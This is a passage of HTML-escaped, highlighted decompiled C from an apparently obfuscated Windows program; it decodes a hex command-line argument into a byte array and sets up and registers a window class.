            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;393718627&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;393718629&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_40C8B0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_40C8B0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10u&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v18&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;LocalFree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpCmdLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;off_47B9C8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v29&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_48A99C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sub_40CDA0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sub_40CF90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;style&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpfnWndProc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WNDPROC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WndProc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cbClsExtra&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cbWndExtra&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hInstance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hIcon&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadIconA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7F00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hCursor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadCursorA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7F00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hbrBackground&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HBRUSH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetStockObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpszMenuName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpszClassName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WindowName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;dword_48E02C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;92&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x40000u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;RegisterClassW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40000u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
